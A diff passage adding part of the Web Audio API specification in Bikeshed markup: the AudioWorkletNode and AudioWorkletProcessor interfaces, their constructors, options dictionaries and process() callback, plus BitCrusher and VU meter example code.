+			[$StructuredDeserialize$](<var>serializedOptions</var>,
+			the current Realm).
+
+		1. Let <var>processorCtor</var> be the result of looking
+			up  <var>processorName</var> on the
+			{{AudioWorkletGlobalScope}}'s
+			<a>node name to processor constructor map</a>.
+
+		1. Store <var>nodeReference</var> and
+			<var>deserializedPort</var> to
+			[=pending processor construction data/node reference=]
+			and
+			[=pending processor construction data/transferred port=]
+			of this {{AudioWorkletGlobalScope}}'s
+			[=pending processor construction data=] respectively.
+
+		1. <a spec=webidl lt=construct>Construct a callback function</a> from |processorCtor| with the argument
+			of |deserializedOptions|. If any exceptions are thrown in the callback, <a>queue a task</a> to
+			the <a>control thread</a> to <a spec="dom" lt="fire an event">fire an event</a> named
+			`processorerror` using {{ErrorEvent}} at |nodeReference|.
+
+		1. Empty the [=pending processor construction data=] slot.
+	</div>
+
+<h4 interface lt="audioworkletnode" id="AudioWorkletNode">
+The {{AudioWorkletNode}} Interface</h4>
+
+This interface represents a user-defined {{AudioNode}} which
+lives on the <a>control thread</a>. The user can create an
+{{AudioWorkletNode}} from a {{BaseAudioContext}}, and such a
+node can be connected with other built-in {{AudioNode}}s to form
+an audio graph.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: See notes
+	tail-time-notes:  Any <a>tail-time</a> is handled by the node itself
+</pre>
+
+Every {{AudioWorkletProcessor}} has an associated <dfn>active source</dfn> flag, initially `true`. This flag causes
+the node to be retained in memory and perform audio processing in
+the absence of any connected inputs.
+
+All tasks posted from an {{AudioWorkletNode}} are posted to the task queue of
+its associated {{BaseAudioContext}}.
+
+<xmp class="idl">
+[Exposed=Window]
+interface AudioParamMap {
+	readonly maplike<DOMString, AudioParam>;
+};
+</xmp>
+
+This interface has "entries", "forEach", "get", "has", "keys",
+"values", @@iterator methods and a "size" getter brought by
+<code>readonly maplike</code>.
+
+<pre class="idl">
+[Exposed=Window, SecureContext]
+interface AudioWorkletNode : AudioNode {
+	constructor (BaseAudioContext context, DOMString name,
+               optional AudioWorkletNodeOptions options = {});
+	readonly attribute AudioParamMap parameters;
+	readonly attribute MessagePort port;
+	attribute EventHandler onprocessorerror;
+};
+</pre>
+
+<h5 id="AudioWorkletNode-constructors">
+Constructors</h5>
+
+<dl dfn-type=constructor dfn-for="AudioWorkletNode">
+	: <dfn>AudioWorkletNode(context, name, options)</dfn>
+	::
+		<pre class=argumentdef for="AudioWorkletNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{AudioWorkletNode}} will be <a href="#associated">associated</a> with.
+			name: A string that is a key for the {{BaseAudioContext}}’s <a>node name to parameter descriptor map</a>.
+			options: Optional initial parameters value for this {{AudioWorkletNode}}.
+		</pre>
+
+		When the constructor is called, the user agent MUST perform the
+		following steps on the control thread:
+
+		<div algorithm="AudioWorkletNode()">
+			When the {{AudioWorkletNode()|AudioWorkletNode}} constructor
+			is invoked with <var>context</var>, <var>nodeName</var>, <var>options</var>:
+
+			1. If <var>nodeName</var> does not exist as a key in the
+				{{BaseAudioContext}}’s <a>node name to parameter
+				descriptor map</a>, throw a {{InvalidStateError}}
+				exception and abort these steps.
+
+			1. Let <var>node</var> be
+				<a spec="webidl" lt="this">this</a> value.
+
+			1. <a href="#audionode-constructor-init">Initialize the AudioNode</a>
+				<var>node</var> with <var>context</var> and <var>options</var> as
+				arguments.
+
+			1. <a href="#configure-with-audioworkletnodeoptions">
+				Configure input, output and output channels</a>
+				of <var>node</var> with <var>options</var>.
+				Abort the remaining steps if any exception is
+				thrown.
+
+			1. Let <var>messageChannel</var> be a new {{MessageChannel}}.
+
+			1. Let <var>nodePort</var> be the value of
+				<var>messageChannel</var>'s {{MessageChannel/port1}} attribute.
+
+			1. Let <var>processorPortOnThisSide</var> be the value of
+				<var>messageChannel</var>'s {{MessageChannel/port2}} attribute.
+
+			1. Let <var>serializedProcessorPort</var> be the result of
+				[$StructuredSerializeWithTransfer$](<var>processorPortOnThisSide</var>,
+				« <var>processorPortOnThisSide</var> »).
+
+			1. <a href="https://heycam.github.io/webidl/#dictionary-to-es">Convert</a>
+				<var>options</var> dictionary to <var>optionsObject</var>.
+
+			1. Let <var>serializedOptions</var> be the result of
+				[$StructuredSerialize$](<var>optionsObject</var>).
+
+			1. Set <var>node</var>'s {{AudioWorkletNode/port}} to <var>nodePort</var>.
+
+			1. Let <var>parameterDescriptors</var> be the result of retrieval
+				of <var>nodeName</var> from <a>node name to parameter descriptor map</a>:
+
+				1. Let <var>audioParamMap</var> be a new {{AudioParamMap}} object.
+
+				1. For each <var>descriptor</var> of
+					<var>parameterDescriptors</var>:
+
+					1. Let <var>paramName</var> be the value of
+						{{AudioParamDescriptor/name}} member in
+						<var>descriptor</var>.
+
+					1. Let <var>audioParam</var> be a new
+						{{AudioParam}} instance with
+						{{AudioParamDescriptor/automationRate}},
+						{{AudioParamDescriptor/defaultValue}},
+						{{AudioParamDescriptor/minValue}}, and
+						{{AudioParamDescriptor/maxValue}}
+						having values equal to the values of
+						corresponding members on
+						<var>descriptor</var>.
+
+					1. Append a key-value pair
+						<var>paramName</var> →
+						<var>audioParam</var> to
+						<var>audioParamMap</var>'s
+						entries.
+
+				1. If {{AudioWorkletNodeOptions/parameterData}} is
+					present on <var>options</var>, perform the
+					following steps:
+
+					1. Let <var>parameterData</var> be the value of
+						{{AudioWorkletNodeOptions/parameterData}}.
+
+					1. For each <var>paramName</var> →
+						<var>paramValue</var> of
+						<var>parameterData</var>:
+
+						1. If there exists a map entry on
+							<var>audioParamMap</var> with
+							key <var>paramName</var>, let
+							<var>audioParamInMap</var> be
+							such entry.
+
+						1. Set {{AudioParam/value}} property
+							of <var>audioParamInMap</var>
+							to <var>paramValue</var>.
+
+				1. Set <var>node</var>'s {{AudioWorkletNode/parameters}} to <var>audioParamMap</var>.
+
+			1. <a>Queue a control message</a> to
+				<a href="#invoking-processor-constructor">invoke</a>
+				the {{AudioWorkletProcessor()|constructor}} of
+				the corresponding {{AudioWorkletProcessor}} with
+				the [=processor construction data=] that consists of:
+				<var>nodeName</var>,
+				<var>node</var>,
+				<var>serializedOptions</var>, and
+				<var>serializedProcessorPort</var>.
+		</div>
+</dl>
+
+<h5 id="AudioWorkletNode-attributes">
+Attributes</h5>
+
+<dl dfn-type=attribute dfn-for="AudioWorkletNode">
+	: <dfn>onprocessorerror</dfn>
+	::
+		When an unhandled exception is thrown from the processor's
+		<code>constructor</code>, <code>process</code> method,
+		or any user-defined class method, the processor will
+		<a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">	queue a media
+		element task</a> to <a spec="dom" lt="fire an event">fire an event</a> named `processorerror` using
+		<a href="https://html.spec.whatwg.org/multipage/webappapis.html#the-errorevent-interface">
+		ErrorEvent</a> at the associated {{AudioWorkletNode}}.
+
+		The <code>ErrorEvent</code> is created and initialized
+		appropriately with its <code>message</code>,
+		<code>filename</code>, <code>lineno</code>, <code>colno</code>
+		attributes on the control thread.
+
+		Note that once a unhandled exception is thrown, the processor
+		will output silence throughout its lifetime.
+
+	: <dfn>parameters</dfn>
+	::
+		The <code>parameters</code> attribute is a collection of
+		{{AudioParam}} objects with associated names. This maplike
+		object is populated from a list of {{AudioParamDescriptor}}s
+		in the {{AudioWorkletProcessor}} class constructor at the
+		instantiation.
+
+	: <dfn>port</dfn>
+	::
+		Every {{AudioWorkletNode}} has an associated
+		<code>port</code> which is the
+		{{MessagePort}}. It is connected to the port on the
+		corresponding {{AudioWorkletProcessor}} object allowing
+		bidirectional communication between the
+		{{AudioWorkletNode}} and its {{AudioWorkletProcessor}}.
+
+		Note: Authors that register a event listener on the <code>"message"</code>
+		event of this {{AudioWorkletNode/port}} should call {{MessagePort/close}} on
+		either end of the {{MessageChannel}} (either in the
+		{{AudioWorkletProcessor}} or the {{AudioWorkletNode}} side) to allow for
+		resources to be [[html#ports-and-garbage-collection|collected]].
+</dl>
+
+<h5 dictionary lt="audioworkletnodeoptions" id="AudioWorkletNodeOptions">
+{{AudioWorkletNodeOptions}}</h5>
+
+The {{AudioWorkletNodeOptions}} dictionary can be used
+to initialize attibutes in the instance of an {{AudioWorkletNode}}.
+
+<xmp class="idl">
+dictionary AudioWorkletNodeOptions : AudioNodeOptions {
+	unsigned long numberOfInputs = 1;
+	unsigned long numberOfOutputs = 1;
+	sequence<unsigned long> outputChannelCount;
+	record<DOMString, double> parameterData;
+	object processorOptions;
+};
+</xmp>
+
+<h6 id="dictionary-audioworkletnodeoptions-members">
+Dictionary {{AudioWorkletNodeOptions}} Members</h6>
+
+<dl dfn-type=dict-member dfn-for="AudioWorkletNodeOptions">
+	: <dfn>numberOfInputs</dfn>
+	::
+		This is used to initialize the value of the {{AudioNode}}
+		{{AudioNode/numberOfInputs}} attribute.
+
+	: <dfn>numberOfOutputs</dfn>
+	::
+		This is used to initialize the value of the {{AudioNode}}
+		{{AudioNode/numberOfOutputs}} attribute.
+
+	: <dfn>outputChannelCount</dfn>
+	::
+		This array is used to configure the number of channels in
+		each output.
+
+	: <dfn>parameterData</dfn>
+	::
+		This is a list of user-defined key-value pairs that are used
+		to set the initial {{AudioParam/value}} of an {{AudioParam}}
+		with the matched name in the {{AudioWorkletNode}}.
+
+	: <dfn>processorOptions</dfn>
+	::
+		This holds any user-defined data that may be used to initialize
+		custom properties in an {{AudioWorkletProcessor}} instance
+		that is associated with the {{AudioWorkletNode}}.
+</dl>
+
+<h6 id="configuring-channels-with-audioworkletnodeoptions">
+Configuring Channels with {{AudioWorkletNodeOptions}}</h6>
+
+The following algorithm describes how an {{AudioWorkletNodeOptions}} can be
+used to configure various channel configurations.
+
+<div id="configure-with-audioworkletnodeoptions" algorithm="configure with AudioWorkletNodeOptions">
+	1. Let <var>node</var> be an {{AudioWorkletNode}} instance that is
+		given to this algorithm.
+
+	1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and
+		{{AudioWorkletNodeOptions/numberOfOutputs}} are zero,
+		throw a {{NotSupportedError}} and abort the remaining steps.
+
+	1. If {{AudioWorkletNodeOptions/outputChannelCount}} is
+		<a spec="webidl" lt="present">present</a>,
+
+		1. If any value in
+			{{AudioWorkletNodeOptions/outputChannelCount}} is zero
+			or greater than the implementation’s maximum number
+			of channels, throw a {{NotSupportedError}} and abort
+			the remaining steps.
+
+		1. If the length of
+			{{AudioWorkletNodeOptions/outputChannelCount}} does not
+			equal {{AudioWorkletNodeOptions/numberOfOutputs}},
+			throw an {{IndexSizeError}} and abort the remaining
+			steps.
+
+		1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and
+			{{AudioWorkletNodeOptions/numberOfOutputs}} are 1,
+			set the channel count of the <var>node</var> output to
+			the one value in
+			{{AudioWorkletNodeOptions/outputChannelCount}}.
+
+		1. Otherwise set the channel count of the <em>k</em>th output
+			of the <var>node</var> to the <em>k</em>th element
+			of {{AudioWorkletNodeOptions/outputChannelCount}}
+			sequence and return.
+
+	1. If {{AudioWorkletNodeOptions/outputChannelCount}} is
+		<a spec="webidl" lt="present">not present</a>,
+
+		1. If both {{AudioWorkletNodeOptions/numberOfInputs}} and
+			{{AudioWorkletNodeOptions/numberOfOutputs}} are 1,
+			set the initial channel count of the <var>node</var>
+			output to 1 and return.
+
+			NOTE: For this case, the output chanel count will
+			change to <a>computedNumberOfChannels</a> dynamically
+			based on the input and the
+			{{AudioNode/channelCountMode}} at runtime.
+
+		1. Otherwise set the channel count of each output of the
+			<var>node</var> to 1 and return.
+</div>
+
+<h4 interface lt="audioworkletprocessor" id="AudioWorkletProcessor">
+The {{AudioWorkletProcessor}} Interface</h4>
+
+This interface represents an audio processing code that runs on the
+audio <a>rendering thread</a>. It lives in the {{AudioWorkletGlobalScope}},
+and the definition of the class manifests the actual audio processing.
+Note that the an {{AudioWorkletProcessor}} construction can only happen as a
+result of an {{AudioWorkletNode}} contruction.
+
+<xmp class="idl">
+[Exposed=AudioWorklet]
+interface AudioWorkletProcessor {
+	constructor ();
+	readonly attribute MessagePort port;
+};
+
+callback AudioWorkletProcessCallback =
+  boolean (FrozenArray<FrozenArray<Float32Array>> inputs,
+           FrozenArray<FrozenArray<Float32Array>> outputs,
+           object parameters);
+</xmp>
+
+{{AudioWorkletProcessor}} has two internal slots:
+
+<dl dfn-type=attribute dfn-for="AudioWorkletProcessor">
+	: <dfn>[[node reference]]</dfn>
+	::
+		A reference to the associated {{AudioWorkletNode}}.
+
+	: <dfn>[[callable process]]</dfn>
+	::
+		A boolean flag representing whether [=process()=] is
+		a valid function that can be invoked.
+</dl>
+
+<h5 id="AudioWorketProcessor-constructors">
+Constructors</h5>
+
+<dl dfn-type="constructor" dfn-for="AudioWorkletProcessor">
+	: <dfn>AudioWorkletProcessor()</dfn>
+	::
+		When the constructor for {{AudioWorkletProcessor}} is invoked,
+		the following steps are performed on the <a>rendering thread</a>.
+
+		<div algorithm="AudioWorkletProcessor()">
+			1. Let <var>nodeReference</var> be the result of
+				looking up
+				[=pending processor construction data/node reference=]
+				on the
+				[=pending processor construction data=] of the
+				current {{AudioWorkletGlobalScope}}.
+				Throw a {{TypeError}} exception if the slot is
+				empty.
+
+			1. Let <var>processor</var> be the
+				<a spec="webidl" lt="this">this</a> value.
+
+			1. Set <var>processor</var>'s {{[[node reference]]}} to
+				<var>nodeReference</var>.
+
+			1. Set <var>processor</var>'s {{[[callable process]]}}
+				to `true`.
+
+			1. Let <var>deserializedPort</var> be the result of
+				looking up
+				[=pending processor construction data/transferred port=]
+				from the
+				[=pending processor construction data=].
+
+			1. Set <var>processor</var>’s
+				{{AudioWorkletProcessor/port}}
+				to <var>deserializedPort</var>.
+
+			1. Empty the [=pending processor construction data=]
+				slot.
+		</div>
+</dl>
+
+<h5 id="AudioWorkletProcessor-attributes">Attributes</h5>
+
+<dl dfn-type=attribute dfn-for="AudioWorkletProcessor">
+	: <dfn>port</dfn>
+	::
+		Every {{AudioWorkletProcessor}} has an associated
+		<code>port</code> which is a {{MessagePort}}. It is connected to
+		the port on the corresponding {{AudioWorkletNode}} object
+		allowing bidirectional communication between an
+		{{AudioWorkletNode}} and its {{AudioWorkletProcessor}}.
+
+		Note: Authors that register a event listener on the <code>"message"</code>
+		event of this {{AudioWorkletProcessor/port}} should call
+		{{MessagePort/close}} on either end of the {{MessageChannel}} (either in the
+		{{AudioWorkletProcessor}} or the {{AudioWorkletNode}} side) to allow for
+		resources to be [[html#ports-and-garbage-collection|collected]].
+</dl>
+
+<h5 id="callback-audioworketprocess-callback">
+Callback {{AudioWorkletProcessCallback}}</h5>
+
+Users can define a custom audio processor by extending
+{{AudioWorkletProcessor}}. The subclass MUST define an {{AudioWorkletProcessCallback}}
+named <code><dfn>process()</dfn></code> that implements the audio processing
+algorithm and may have a static property named
+<code><dfn>parameterDescriptors</dfn></code> which is an iterable
+of {{AudioParamDescriptor}}s.
+
+The [=process()=] callback function is handled as specified when <a href="#rendering-a-graph">rendering a graph</a>.
+
+<div class="note">
+	The return value of this callback controls the lifetime
+	of the {{AudioWorkletProcessor}}'s associated
+	{{AudioWorkletNode}}.
+
+	This lifetime policy can support a variety of approaches
+	found in built-in nodes, including the following:
+
+	* Nodes that transform their inputs, and are active only
+		while connected inputs and/or script references exist. Such
+		nodes SHOULD return <code>false</code> from
+		[=process()=] which allows the presence or absence of
+		connected inputs to determine whether the {{AudioWorkletNode}} is
+		[=actively processing=].
+
+	* Nodes that transform their inputs, but which remain active
+		for a <a>tail-time</a> after their inputs are disconnected. In
+		this case, [=process()=] SHOULD return
+		`true` for some period of time after
+		<code>inputs</code> is found to contain zero channels. The
+		current time may be obtained from the global scope's
+		{{AudioWorkletGlobalScope/currentTime}} to
+		measure the start and end of this tail-time interval, or the
+		interval could be calculated dynamically depending on the
+		processor's internal state.
+
+	* Nodes that act as sources of output, typically with a
+		lifetime. Such nodes SHOULD return `true` from
+		[=process()=] until the point at which they are no
+		longer producing an output.
+
+	Note that the preceding definition implies that when no
+	return value is provided from an implementation of
+	[=process()=], the effect is identical to returning
+	<code>false</code> (since the effective return value is the falsy
+	value {{undefined}}). This is a reasonable behavior for
+	any {{AudioWorkletProcessor}} that is active only when it has
+	active inputs.
+</div>
+
+The example below shows how {{AudioParam}} can be defined and used in an
+{{AudioWorkletProcessor}}.
+
+<xmp class="example" highlight="js" title="Subclassing AudioWorkletProcessor">
+class MyProcessor extends AudioWorkletProcessor {
+  static get parameterDescriptors() {
+    return [{
+      name: 'myParam',
+      defaultValue: 0.5,
+      minValue: 0,
+      maxValue: 1,
+      automationRate: "k-rate"
+    }];
+  }
+
+  process(inputs, outputs, parameters) {
+    // Get the first input and output.
+    const input = inputs[0];
+    const output = outputs[0];
+    const myParam = parameters.myParam;
+
+    // A simple amplifier for single input and output. Note that the
+    // automationRate is "k-rate", so it will have a single value at index [0]
+    // for each render quantum.
+    for (let channel = 0; channel < output.length; ++channel) {
+      for (let i = 0; i < output[channel].length; ++i) {
+        output[channel][i] = input[channel][i] * myParam[0];
+      }
+    }
+  }
+}
+</xmp>
+
+<h6 id="audioworkletprocess-callback-parameters" callback lt="AudioWorkletProcessCallback()">
+Callback {{AudioWorkletProcessCallback}} Parameters
+</h6>
+The following describes the parameters to the {{AudioWorkletProcessCallback}} function.
+
+In general, the {{AudioWorkletProcessCallback/inputs!!argument}} and
+{{AudioWorkletProcessCallback/outputs!!argument}} arrays will be reused
+between calls so that no memory allocation is done.  However, if the
+topology changes, because, say, the number of channels in the input or the
+output changes, new arrays are reallocated.  New arrays are also
+reallocated if any part of the
+{{AudioWorkletProcessCallback/inputs!!argument}} or
+{{AudioWorkletProcessCallback/outputs!!argument}} arrays are
+transferred.
+
+<dl dfn-type=argument dfn-for="AudioWorkletProcessCallback">
+	: {{AudioWorkletProcessCallback/inputs!!argument}}, of type <code>{{FrozenArray}}&lt;{{FrozenArray}}&lt;{{Float32Array}}&gt;&gt;</code>
+	:: The input audio buffer from the incoming connections provided by the user agent. <code class="nobreak">inputs[n][m]</code> is a {{Float32Array}} of audio samples for the \(m\)th channel of the \(n\)th input. While the number of inputs is fixed at construction, the number of channels can be changed dynamically based on [=computedNumberOfChannels=].
+
+		If there are no [=actively processing=] {{AudioNode}}s connected to the \(n\)th input of the {{AudioWorkletNode}} for the current render quantum, then the content of <code>inputs[n]</code> is an empty array, indicating that zero channels of input are available. This is the only circumstance under which the number of elements of <code>inputs[n]</code> can be zero.
+
+	: {{AudioWorkletProcessCallback/outputs!!argument}}, of type <code>{{FrozenArray}}&lt;{{FrozenArray}}&lt;{{Float32Array}}>></code>
+	:: The output audio buffer that is to be consumed by the user agent. <code class="nobreak">outputs[n][m]</code> is a {{Float32Array}} object containing the audio samples for \(m\)th channel of \(n\)th output. Each of the {{Float32Array}}s are zero-filled. The number of channels in the output will match [=computedNumberOfChannels=] only when the node has a single output.
+
+	: {{AudioWorkletProcessCallback/parameters!!argument}}, of type {{object}}
+	:: An [=ordered map=] of <var>name</var> → <var>parameterValues</var>. <code>parameters["<var>name</var>"]</code> returns <var>parameterValues</var>, which is a {{FrozenArray}}&lt;{{Float32Array}}> with the automation values of the <var>name</var> {{AudioParam}}.
+
+		For each array, the array contains the [=computedValue=] of the parameter for all frames in the [=render quantum=]. However, if no automation is scheduled during this render quantum, the array MAY have length 1 with the array element being the constant value of the {{AudioParam}} for the [=render quantum=].
+
+		This object is frozen according the the following steps
+		<div algorithm="freeze parameter object">
+			1. Let |parameter| be the [=ordered map=] of the name and parameter values.
+			1. <a href="https://tc39.es/ecma262/#sec-setintegritylevel">SetIntegrityLevel</a>(|parameter|, frozen)
+		</div>
+
+		This frozen [=ordered map=] computed in the algorithm is passed to the
+		{{AudioWorkletProcessCallback/parameters!!argument}}
+		argument.
+
+		Note: This means the object cannot be modified and
+		hence the same object can be used for successive calls
+		unless length of an array changes.
+
+</dl>
+
+<h5 dictionary lt="audioparamdescriptor" id="AudioParamDescriptor">
+{{AudioParamDescriptor}}</h5>
+
+The {{AudioParamDescriptor}} dictionary is used to
+specify properties for an {{AudioParam}} object
+that is used in an {{AudioWorkletNode}}.
+
+<pre class="idl">
+dictionary AudioParamDescriptor {
+	required DOMString name;
+	float defaultValue = 0;
+	float minValue = -3.4028235e38;
+	float maxValue = 3.4028235e38;
+	AutomationRate automationRate = "a-rate";
+};
+</pre>
+
+<h6 id="dictionary-audioparamdescriptor-members">
+Dictionary {{AudioParamDescriptor}} Members</h6>
+
+There are constraints on the values for these members.  See the <a
+href="#steps-parameterDescriptorSequence">algorithm for handling an
+AudioParamDescriptor</a> for the constraints.
+
+<dl dfn-type=dict-member dfn-for="AudioParamDescriptor">
+	: <dfn>automationRate</dfn>
+	::
+		Represents the default automation rate.
+	: <dfn>defaultValue</dfn>
+	::
+		Represents the default value of the parameter.
+
+	: <dfn>maxValue</dfn>
+	::
+		Represents the maximum value.
+
+	: <dfn>minValue</dfn>
+	::
+		Represents the minimum value.
+
+	: <dfn>name</dfn>
+	::
+		Represents the name of the parameter.
+</dl>
+
+<h4 id="AudioWorklet-Sequence">
+AudioWorklet Sequence of Events</h4>
+
+The following figure illustrates an idealized sequence of events
+occurring relative to an {{AudioWorklet}}:
+
+<figure>
+	<img alt="" src="images/audioworklet-instantiation-sequence.png" width="784" height="427">
+	<figcaption>
+		{{AudioWorklet}} sequence
+	</figcaption>
+</figure>
+
+The steps depicted in the diagram are one possible sequence of
+events involving the creation of an {{AudioContext}} and an
+associated {{AudioWorkletGlobalScope}}, followed by the creation
+of an {{AudioWorkletNode}} and its associated
+{{AudioWorkletProcessor}}.
+
+<div algorithm="audioworklet sequence">
+	1. An {{AudioContext}} is created.
+
+	2. In the main scope, <code>context.audioWorklet</code> is requested to add a script module.
+
+	2. Since none exists yet, a new {{AudioWorkletGlobalScope}} is created in association with the context. This is the global scope in which {{AudioWorkletProcessor}} class definitions will be evaluated. (On subsequent calls, this previously created scope will be used.)
+
+	2. The imported script is run in the newly created global scope.
+
+	3. As part of running the imported script, an {{AudioWorkletProcessor}} is registered under
+		a key (<code>"custom"</code> in the above diagram) within the {{AudioWorkletGlobalScope}}.
+		This populates maps both in the global scope and in the {{AudioContext}}.
+
+	3. The promise for the {{addModule()}} call is resolved.
+
+	6. In the main scope, an {{AudioWorkletNode}} is created using
+		the user-specified key along with a
+		dictionary of options.
+
+	7. As part of the node's creation, this key is used to look up the
+		correct {{AudioWorkletProcessor}} subclass for instantiation.
+
+	8. An instance of the {{AudioWorkletProcessor}} subclass is
+		instantiated with a structured clone of the same options
+		dictionary. This instance is paired with the previously created
+		{{AudioWorkletNode}}.
+</div>
+
+<h4 id="AudioWorklet-Examples">
+AudioWorklet Examples</h4>
+
+<h5 id="the-bitcrusher-node">
+The BitCrusher Node</h5>
+
+Bitcrushing is a mechanism by which the quality of an audio
+stream is reduced both by quantizing the sample value (simulating
+a lower bit-depth), and by quantizing in time resolution
+(simulating a lower sample rate). This example shows how to use
+{{AudioParam}}s (in this case, treated as
+<a>a-rate</a>) inside an
+{{AudioWorkletProcessor}}.
+
+<xmp line-numbers class="example" highlight="js" title="BitCrusher - Global Scope">
+const context = new AudioContext();
+context.audioWorklet.addModule('bitcrusher.js').then(() => {
+	const osc = new OscillatorNode(context);
+	const amp = new GainNode(context);
+
+	// Create a worklet node. 'BitCrusher' identifies the
+	// AudioWorkletProcessor previously registered when
+	// bitcrusher.js was imported. The options automatically
+	// initialize the correspondingly named AudioParams.
+	const bitcrusher = new AudioWorkletNode(context, 'bitcrusher', {
+		parameterData: {bitDepth: 8}
+	});
+
+	osc.connect(bitcrusher).connect(amp).connect(context.destination);
+	osc.start();
+});
+</xmp>
+
+<xmp line-numbers class="example" highlight="js" title="BitCrusher - AudioWorkletGlobalScope (bitcrusher.js)">
+class Bitcrusher extends AudioWorkletProcessor {
+	static get parameterDescriptors () {
+		return [{
+			name: 'bitDepth',
+			defaultValue: 12,
+			minValue: 1,
+			maxValue: 16
+		}, {
+			name: 'frequencyReduction',
+			defaultValue: 0.5,
+			minValue: 0,
+			maxValue: 1
+		}];
+	}
+
+	constructor (options) {
+		// The initial parameter value can be set by passing |options|
+		// to the processor's constructor.
+		super(options);
+		this._phase = 0;
+		this._lastSampleValue = 0;
+	}
+
+	process (inputs, outputs, parameters) {
+		const input = inputs[0];
+		const output = outputs[0];
+		const bitDepth = parameters.bitDepth;
+		const frequencyReduction = parameters.frequencyReduction;
+
+		if (bitDepth.length > 1) {
+			// The bitDepth parameter array has 128 sample values.
+			for (let channel = 0; channel < output.length; ++channel) {
+				for (let i = 0; i < output[channel].length; ++i) {
+					let step = Math.pow(0.5, bitDepth[i]);
+
+					// Use modulo for indexing to handle the case where
+					// the length of the frequencyReduction array is 1.
+					this._phase += frequencyReduction[i % frequencyReduction.length];
+					if (this._phase >= 1.0) {
+						this._phase -= 1.0;
+						this._lastSampleValue =
+							step * Math.floor(input[channel][i] / step + 0.5);
+					}
+					output[channel][i] = this._lastSampleValue;
+				}
+			}
+		} else {
+			// Because we know bitDepth is constant for this call,
+			// we can lift the computation of step outside the loop,
+			// saving many operations.
+			const step = Math.pow(0.5, bitDepth[0]);
+			for (let channel = 0; channel < output.length; ++channel) {
+				for (let i = 0; i < output[channel].length; ++i) {
+					this._phase += frequencyReduction[i % frequencyReduction.length];
+					if (this._phase >= 1.0) {
+						this._phase -= 1.0;
+						this._lastSampleValue =
+							step * Math.floor(input[channel][i] / step + 0.5);
+					}
+					output[channel][i] = this._lastSampleValue;
+				}
+			}
+		}
+		// No need to return a value; this node's lifetime is dependent only on its
+		// input connections.
+	}
+});
+
+registerProcessor('bitcrusher', Bitcrusher);
+</xmp>
+
+Note: In the definition of {{AudioWorkletProcessor}} class, an
+{{InvalidStateError}} will be thrown if the
+author-supplied constructor has an explicit return value that is not
+<code>this</code> or does not properly call <code>super()</code>.
+
+<h5 id="vu-meter-mode">
+VU Meter Node</h5>
+
+This example of a simple sound level meter further illustrates
+how to create an {{AudioWorkletNode}} subclass
+that acts like a native {{AudioNode}}, accepting
+constructor options and encapsulating the inter-thread
+communication (asynchronous) between
+{{AudioWorkletNode}} and
+{{AudioWorkletProcessor}}. This node does not use any output.
+
+<div class="correction" id="c2359">
+  <span class="marker">Candidate Correction
+    <a href="https://github.com/WebAudio/web-audio-api/issues/2359">Issue 2359.</a>
+  </span>
+  Fix typo in code; semi-colon is incorrect.
+</div>
+<pre line-numbers class="example" highlight="js" title="VUMeterNode - Global Scope (vumeternode.js)">
+/* vumeter-node.js: Main global scope */
+
+export default class VUMeterNode extends AudioWorkletNode {
+	constructor (context, updateIntervalInMS) {
+		super(context, 'vumeter', {
+			numberOfInputs: 1,
+			numberOfOutputs: 0,
+			channelCount: 1,
+			processorOptions: {
+				updateIntervalInMS: updateIntervalInMS || 16.67<del cite=#c2359>;</del>
+			}
+		});
+
+		// States in AudioWorkletNode
+		this._updateIntervalInMS = updateIntervalInMS;
+		this._volume = 0;
+
+		// Handles updated values from AudioWorkletProcessor
+		this.port.onmessage = event => {
+			if (event.data.volume)
+				this._volume = event.data.volume;
+		}
+		this.port.start();
+	}
+
+	get updateInterval() {
+		return this._updateIntervalInMS;
+	}
+
+	set updateInterval(updateIntervalInMS) {
+		this._updateIntervalInMS = updateIntervalInMS;
+		this.port.postMessage({updateIntervalInMS: updateIntervalInMS});
+	}
+
+	draw () {
+		// Draws the VU meter based on the volume value
+		// every |this._updateIntervalInMS| milliseconds.
+	}
+};
+</pre>
+
+<xmp line-numbers class="example" highlight="js" title="VUMeterNode - AudioWorkletGlobalScope (vumeterprocessor.js)">
+/* vumeter-processor.js: AudioWorkletGlobalScope */
+
+const SMOOTHING_FACTOR = 0.9;
+const MINIMUM_VALUE = 0.00001;
+
+registerProcessor('vumeter', class extends AudioWorkletProcessor {
+	constructor (options) {
+		super();
+		this._volume = 0;
+		this._updateIntervalInMS = options.processorOptions.updateIntervalInMS;
+		this._nextUpdateFrame = this._updateIntervalInMS;
+
+		this.port.onmessage = event => {
+			if (event.data.updateIntervalInMS)
+				this._updateIntervalInMS = event.data.updateIntervalInMS;
+		}
+	}
+
+	get intervalInFrames () {
+		return this._updateIntervalInMS / 1000 * sampleRate;
+	}
+
+	process (inputs, outputs, parameters) {
+		const input = inputs[0];
+		// Note that the input will be down-mixed to mono; however, if no inputs are
+		// connected then zero channels will be passed in.
+		if (input.length > 0) {
+			const samples = input[0];
+			let sum = 0;
+			let rms = 0;
+
+			// Calculated the squared-sum.
+			for (let i = 0; i < samples.length; ++i)
+				sum += samples[i] * samples[i];
+
+			// Calculate the RMS level and update the volume.
+			rms = Math.sqrt(sum / samples.length);
+			this._volume = Math.max(rms, this._volume * SMOOTHING_FACTOR);
+
+			// Update and sync the volume property with the main thread.
+			this._nextUpdateFrame -= samples.length;
+			if (this._nextUpdateFrame < 0) {
+				this._nextUpdateFrame += this.intervalInFrames;
+				this.port.postMessage({volume: this._volume});
+			}
+		}
+
+		// Keep on processing if the volume is above a threshold, so that
+		// disconnecting inputs does not immediately cause the meter to stop
+		// computing its smoothed value.
+		return this._volume >= MINIMUM_VALUE;
+	}
+
+});
+</xmp>
+
+<xmp line-numbers class="example" highlight="js" title="VUMeterNode - Global Scope (main JS file)">
+/* index.js: Main global scope, entry point */
+import VUMeterNode from './vumeter-node.js';
+
+const context = new AudioContext();
+context.audioWorklet.addModule('vumeter-processor.js').then(() => {
+	const oscillator = new OscillatorNode(context);
+	const vuMeterNode = new VUMeterNode(context, 25);
+	oscillator.connect(vuMeterNode);
+	oscillator.start();
+
+	function drawMeter () {
+		vuMeterNode.draw();
+		requestAnimationFrame(drawMeter);
+	}
+
+	drawMeter();
+});
+</xmp>
+
+<h2 id="processing-model">
+Processing model</h2>
+
+<h3 id="processing-model-background" class="non-normative">
+Background</h3>
+
